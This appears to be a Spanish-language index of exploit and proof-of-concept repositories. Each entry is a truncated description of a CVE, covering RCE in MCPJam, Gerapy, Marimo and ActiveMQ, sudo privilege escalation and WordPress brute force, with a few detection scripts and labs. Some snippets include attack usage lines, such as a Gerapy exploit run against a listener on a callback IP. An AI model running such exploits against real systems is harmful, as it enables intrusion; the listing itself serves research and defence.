exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector es una plataforma de desarrollo local-first para servidores MCP. En las versiones 1.4.2 y anteriores, una vulnerabilidad de ejecución remota de código permite a los atacantes enviar solicitudes HTTP manipuladas que instalan un servidor MCP y ejecutan código...

cve-2021-32849

cve-2021-32849 cve-2021-32849 ejecución de comandos en Gerapy Uso Primero, abre un nc para escuchar y luego usa el exploit para atacar. python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

redis-CVE-2025-49844

CVE-2025-49844 RediShell - Entorno de Laboratorio Un entorno de laboratorio práctico para probar y comprender la vulnerabilidad crítica CVE-2025-49844 RediShell en Redis. ⚠️ ADVERTENCIA ¡Esto es solo con fines educativos! Úselo únicamente en sistemas que le pertenezcan o para los que tenga permiso...

CVE-2025-55616

CVE-2025-55616 Autor: Rana M.Sinan Adil Vulnerabilidad encontrada en Zsh que conduce a RCE mediante History Expression Puntos clave Para ejecutar este exploit: solo cambia la dirección IP y el "p system" en el exploit , porque también lo probé en mi segunda laptop, y para cambiarlo ejecuta el...

CVE-2026-22785

Tutorial de reproducción de CVE-2026-22785 Resumen de la vulnerabilidad CVE : CVE-2026-22785 Impacto : orval = 7.18.0 CVSS : 9.3 CRÍTICO Tipo : Inyección de código Principio de la vulnerabilidad orval Ejemplo python cvetool.py shell whoami python cvetool.py shell "node --version" python cvetool.p...

DirtyFrag-Detector

🔍 Dirty Frag — Script de detección CVE-2026-43284 / CVE-2026-43500 TL;DR: Hay dos nuevos fallos en el kernel de Linux. Este script te indica si eres vulnerable. Parchea tus sistemas. ¿De qué va esto? El 7 de mayo de 2026, una clase de vulnerabilidad llamada Dirty Frag fue divulgada públicamente p...

CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script

CVE-2026-31431 — Copy Fail — Script de detección de vulnerabilidades Solo detección. Ya existe un PoC funcional en copy.fail/exploit. Este script está pensado para administradores de sistemas y equipos de seguridad que necesitan determinar dónde son vulnerables — o si siguen siendo vulnerables tr...

inetutils-telnetd-auth-bypass

Laboratorio de bypass de autenticación en inetutils-telnetd, CVE-2026-24061 Un pequeño laboratorio para experimentar con el bypass de autenticación en inetutils-telnetd 1.9.3 - 2.7, tal como se divulgó en la lista de correo oss-sec. 0 Este contenedor se basa en el hecho de que inetutils-telnetd...

CVE-2025-32463

CVE-2025-32463 – Exploit de EoP en Sudo PoC con biblioteca precompilada Este repositorio contiene una prueba de concepto PoC para CVE-2025-32463 , una vulnerabilidad de escalada de privilegios local en sudo descubierta por Rich Mirch. Créditos https://github.com/kh4sh3i/CVE-2025-32463 ⚠️ Aviso...

CVE-2025-27591

CVE-2025-27591 - Escalada de Privilegios mediante Manejo Inseguro de Registros Resumen CVE-2025-27591 es una vulnerabilidad de escalada de privilegios local en la utilidad below versiones anteriores a la versión parcheada causada por un manejo inseguro de enlaces simbólicos dentro de su mecanismo...

Wordpress-XMLRPC-Brute-Force-Exploit

Exploit de fuerza bruta para Wordpress XMLRPC System Multicall por 1N3 Última actualización: 20170215 https://crowdshield.com ACERCA DE: Este es un exploit para la función System Multicall de xmlrpc.php de Wordpress que afecta a la versión más reciente de Wordpress 3.5.1. El exploit funciona...

CVE-2026-39987

CVE-2026-39987 — Ejecución Remota de Código Pre-Autenticada en Marimo Python Notebook TL;DR Una vulnerabilidad de ejecución remota de código pre-autenticada en Marimo , un notebook Python de código abierto para ciencia de datos e IA/ML. El endpoint WebSocket de terminal /terminal/ws omite por...

CVE-2026-34197

CVE-2026-34197 — Ejecución Remota de Código en Apache ActiveMQ Classic a través de la API Jolokia TL;DR Una vulnerabilidad de ejecución remota de código en Apache ActiveMQ Classic que permite a un atacante ejecutar código arbitrario invocando la operación MBean addNetworkConnectorString a través ...

CVE-2026-35616

CVE-2026-35616 - Bypass de Autenticación Pre-API en FortiClient EMS que Conduce a RCE TL;DR Un bypass de autenticación crítico en Fortinet FortiClient EMS 7.4.5 y 7.4.6 permite a un atacante remoto completamente no autenticado eludir la autenticación de la API falsificando una única cabecera HTTP...

CVE-2023-22515-joaoviictorti

CVE-2023-22515 Resumen Compilación Uso Ejecutar CVE-2023-22515 Resumen Confluence es una wiki empresarial basada en web desarrollada por la empresa australiana de software Atlassian. Atlassian ha sido informada de un problema reportado por algunos clientes donde atacantes externos pueden haber...

CVE-2026-33827

🔴 CVE-2026-33827: Windows TCP/IP Remote Code Execution RCE 📌 Descripción General CVE-2026-33827 es una vulnerabilidad crítica de Ejecución Remota de Código RCE que afecta al stack de red TCP/IP de Windows. Se clasifica como una falla de condición de carrera Race Condition debida a una...

CVE-2026-33826

🚨 CVE-2026-33826: Windows Active Directory Remote Code Execution RCE 📌 Descripción General CVE-2026-33826 es una vulnerabilidad de Ejecución Remota de Código RCE crítica que afecta a los Servicios de Dominio de Active Directory AD DS. La falla reside en la forma en que el servicio de AD maneja la...

CVE-2026-33825

🔨 CVE-2026-33825: BlueHammer Microsoft Defender Elevation of Privilege 📌 Descripción General La vulnerabilidad CVE-2026-33825 , apodada "BlueHammer" , es una falla crítica de Escalada de Privilegios Locales EoP en el motor de remediación de amenazas de Microsoft Defender. 🚨 Impacto Crítico: Permi...

CVE-2026-28372-GNU-inetutils-telnetd-Privilege-Escalation-main

CVE-2026-28372 — Escalada de Privilegios en telnetd de GNU inetutils PoC 👤 Autor Mohammed Idrees Banyamer Jordania 🇯🇴 Instagram: @banyamersecurity Investigador de Seguridad | Seguridad Ofensiva | Desarrollo de Exploits 🧨 Título del Exploit CVE‑2026‑28372 — Escalada de Privilegios en telnetd de GNU...

CVE-2024-10400

CVE-2024-10400 El plugin Tutor LMS para WordPress es vulnerable a inyección SQL a través del parámetro 'ratingfilter' en todas las versiones hasta, e incluyendo, 2.7.6 versiones Nota : El exploit utiliza una comprobación de inyección SQL ciega basada en tiempo con un umbral de retraso de 5...